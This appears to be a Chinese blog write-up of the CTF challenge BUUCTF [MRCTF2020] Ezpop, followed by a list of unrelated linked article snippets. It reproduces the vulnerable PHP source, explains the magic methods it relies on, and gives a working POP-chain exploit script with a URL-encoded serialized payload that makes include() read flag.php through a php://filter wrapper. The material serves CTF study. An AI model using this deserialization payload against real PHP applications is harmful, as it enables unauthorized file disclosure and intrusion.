BUUCTF [MRCTF2020]Ezpop解题思路
题目代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}
前置知识
php魔术方法:
__call()
: 在对象中调用一个不可访问方法时,__call()
会被调用__toString
: 将对象当作一个字符串输出的时候__wakeup
: 反序列化时被调用__invoke
: 当一个对象被作为函数调用时被调用__get
: 当对象访问一个不存在的属性时调用__construct
:创建对象时调用
序列化只会保存对象的属性对应的值
分析
这里找到危险参数 ,发现在 Modifier 对象中
public function __invoke(){$this->append($this->var);}
我们顺着这个魔术方法找哪里调用了变量函数
Test对象中
public function __get($key){$function = $this->p;return $function();}
再顺着这个魔术方法的调用条件找哪里访问了Test对象中没有的变量
public function __toString(){return $this->str->source;}
我们找到了Show对象吗,只要我们将str变量设置为Test对象,那么就能触发这个利用链
再找到输出变量的地方
$this->source
在Show对象中,如果我们将source设置为Show对象,那么就等于将该对象当作字符串进行访问从而触发 __tostring
方法
EXP
<?php
class Modifier
{protected $var;function __construct($var){$this->var = $var;}
}class Show
{public $source = 0;public $str = 0;}class Test
{public $p;
}$data = "php://filter/read=convert.base64-encode/resource=flag.php"; # 最终这里被include$m = new Modifier($data);$t = new Test();
$t->p = $m ;$s1 = new Show();
$s2 = new Show();$s2->str = $t;
$s1->source = $s2;echo urlencode(serialize($s1));
最终我们include(“php://filter/read=convert.base64-encode/resource=flag.php”)即可读取flag.php文件从而拿到flag
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bi%3A0%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bi%3A0%3B%7D
相关文章:

BUUCTF [MRCTF2020]Ezpop解题思路
题目代码 Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier {protected $var;publi…...

【IMX6ULL驱动开发学习】07.驱动程序分离的思想之平台总线设备驱动模型和设备树
一、驱动程序分离的思想 【IMX6ULL驱动开发学习】05.字符设备驱动开发模板(包括读写函数、poll机制、异步通知、定时器、中断、自动创建设备节点和环形缓冲区)_阿龙还在写代码的博客-CSDN博客 之前编写驱动程序的代码存在不少弊端:移植性差…...
深度学习中的python语法笔记总结
解释 torch中的 .clamp(min0) 在PyTorch中,torch.clamp将张量中的元素限制在指定的范围内。 torch.clamp(min0)会将张量中的每个元素与0进行比较,并将小于0的元素替换为0。其他大于等于0的元素则保持不变。 clamp函数原理 def clamp(x, lower, upper)…...

Reids 的整合使用
大家好 , 我是苏麟 , 今天带来强大的Redis . REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。 Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选…...

Vue3 —— watchEffect 高级侦听器
该文章是在学习 小满vue3 课程的随堂记录示例均采用 <script setup>,且包含 typescript 的基础用法 前言 Vue3 中新增了一种特殊的监听器 watchEffect,它的类型是: function watchEffect(effect: (onCleanup: OnCleanup) > void,o…...
Java异步子线程读取主线程参数的若干好玩场景
在开发过程中,我们难免会因为性能、实时响应等,需要异步处理的一些事务,并且在子线程中有时我们还需要获取主线程相关的参数。下面有若干方案可以实现上述场景,但会出现一定的问题。 场景1-基础场景 在主线程中开启子线程&#x…...
Android 视频开发
在 Android 平台上进行视频开发,您需要掌握以下关键知识点,以确保能够成功地开发和调试视频应用程序: Android视频架构: 了解 Android 的视频系统架构,包括视频捕获、编码、解码、渲染和显示等。 视频格式和编解码&am…...

【计算机网络篇】UDP协议
✅作者简介:大家好,我是小杨 📃个人主页:「小杨」的csdn博客 🐳希望大家多多支持🥰一起进步呀! UDP协议 1,UDP 简介 UDP(User Datagram Protocol)是一种无连…...
LeetCode 2682. 找出转圈游戏输家
【LetMeFly】2682.找出转圈游戏输家 力扣题目链接:https://leetcode.cn/problems/find-the-losers-of-the-circular-game/ n 个朋友在玩游戏。这些朋友坐成一个圈,按 顺时针方向 从 1 到 n 编号。从第 i 个朋友的位置开始顺时针移动 1 步会到达第 (i …...

数据结构单链表
单链表 1 链表的概念及结构 概念:链表是一种物理存储结构上非连续、非顺序的存储结构,数据元素的逻辑顺序是通过链表中的指针链 接次序实现的 。 在我们开始讲链表之前,我们是写了顺序表,顺序表就是类似一个数组的东西࿰…...

自定义WEB框架结合Jenkins实现全自动测试
自定义WEB框架结合Jenkins实现全自动测试 allure生成 allure生成 1.allure–纯命令运行 -固定的–稍微记住对应的单词即可。2 安装,2个步骤: 1.下载allure包,然后配置环境变量。 https://github.com/allure-framework/allure2/releases/tag/2.22.4 2.在…...

PHP加密与安全的最佳实践
PHP加密与安全的最佳实践 概述 在当今信息时代,数据安全是非常重要的。对于开发人员而言,掌握加密和安全的最佳实践是必不可少的。PHP作为一种常用的后端开发语言,提供了许多功能强大且易于使用的加密和安全性相关函数和类。本文将介绍一些P…...

SQL Server数据库无法连接
问题如下: 原因:sql server服务器未开启 解决方法:以管理员身份打开cmd,输入:net start mssqlserver。...

videojs 播放视频
背景:在项目中使用第三方插件videojs进行播放视频,点击事件更改播放的数据源。 一、视频相关理论 (一)、背景 网络流媒体的呈现形式分为两种:直播点播 (二)、流媒体的3种协议 分类:HTTPHLSRTMP定义:基于HTTP的流媒体…...
vue强制刷新变量
在前端开发中,我们经常需要变量的值实时响应到界面上。Vue就是一个非常强大的前端框架,它的数据绑定能够非常好地实现变量与界面的同步更新。但是有时候,我们需要强制刷新某个变量的值,以便界面能及时地反映出它的变化。本文将介绍…...
[QCA6174]QCA6174 5G WiFi DFS处理逻辑分析及雷达误检率高优化规避
DFS认证信息 WIFI DFS测试要求 Master设备需要测试的项目 4.6.2.1 Channel Availability Check 信道可用性检查 定义其作为雷达脉冲检测机制,当雷达脉冲出现时所占用的信道需要能被设备检测到已经被占用。当相关信道未被占用时,这些信道被称为Avaliable Channel可用信道 …...

预防SQL漏洞注入和规避网络攻击
前言: 虽然近些年SQL注入已经被各类的安全开发框架规避了绝大部分,但SQL注入作为一种最原始的攻击手段之一,破坏力仍然十分强大,因为它直捣黄龙数据中心。所以未雨绸缪,各位不可不重视。 预防SQL注入方法措施: 服务器…...

《Go 语言第一课》课程学习笔记(一)
配好环境:选择一种最适合你的 Go 安装方法 选择 Go 版本 一般情况下,建议采用最新版本。因为 Go 团队发布的 Go 语言稳定版本的平均质量一直是很高的,少有影响使用的重大 bug。可以根据不同实际项目需要或开源社区的情况使用不同的版本。 有…...

网络安全 Day29-运维安全项目-iptables防火墙
iptables防火墙 1. 防火墙概述2. 防火墙2.1 防火墙种类及使用说明2.2 必须熟悉的名词2.3 iptables 执行过程※※※※※2.4 表与链※※※※※2.4.1 简介2.4.2 每个表说明2.4.2.1 filter表 :star::star::star::star::star:2.4.2.2 nat表 2.5 环境准备及命令2.6 案例01:…...
SQL 复习 03
函数与关键字 用法说明round(x, n)四舍五入,x为浮点数,n为保留的位数ceil(x)向上取整floor(x)向下取整truncate(x, n)截断x,n为保留的位,该位之后的数值置零,位数表示示例:321.123,其中小数点前…...

手游刚开服就被攻击怎么办?如何防御DDoS?
开服初期是手游最脆弱的阶段,极易成为DDoS攻击的目标。一旦遭遇攻击,可能导致服务器瘫痪、玩家流失,甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案,帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...
Vue记事本应用实现教程
文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展:显示创建时间8. 功能扩展:记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...

多模态2025:技术路线“神仙打架”,视频生成冲上云霄
文|魏琳华 编|王一粟 一场大会,聚集了中国多模态大模型的“半壁江山”。 智源大会2025为期两天的论坛中,汇集了学界、创业公司和大厂等三方的热门选手,关于多模态的集中讨论达到了前所未有的热度。其中,…...
mongodb源码分析session执行handleRequest命令find过程
mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程,并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令,把数据流转换成Message,状态转变流程是:State::Created 》 St…...
可靠性+灵活性:电力载波技术在楼宇自控中的核心价值
可靠性灵活性:电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中,电力载波技术(PLC)凭借其独特的优势,正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据,无需额外布…...

Opencv中的addweighted函数
一.addweighted函数作用 addweighted()是OpenCV库中用于图像处理的函数,主要功能是将两个输入图像(尺寸和类型相同)按照指定的权重进行加权叠加(图像融合),并添加一个标量值&#x…...

蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练
前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1):从基础到实战的深度解析-CSDN博客,但实际面试中,企业更关注候选人对复杂场景的应对能力(如多设备并发扫描、低功耗与高发现率的平衡)和前沿技术的…...
五年级数学知识边界总结思考-下册
目录 一、背景二、过程1.观察物体小学五年级下册“观察物体”知识点详解:由来、作用与意义**一、知识点核心内容****二、知识点的由来:从生活实践到数学抽象****三、知识的作用:解决实际问题的工具****四、学习的意义:培养核心素养…...
浅谈不同二分算法的查找情况
二分算法原理比较简单,但是实际的算法模板却有很多,这一切都源于二分查找问题中的复杂情况和二分算法的边界处理,以下是博主对一些二分算法查找的情况分析。 需要说明的是,以下二分算法都是基于有序序列为升序有序的情况…...
Element Plus 表单(el-form)中关于正整数输入的校验规则
目录 1 单个正整数输入1.1 模板1.2 校验规则 2 两个正整数输入(联动)2.1 模板2.2 校验规则2.3 CSS 1 单个正整数输入 1.1 模板 <el-formref"formRef":model"formData":rules"formRules"label-width"150px"…...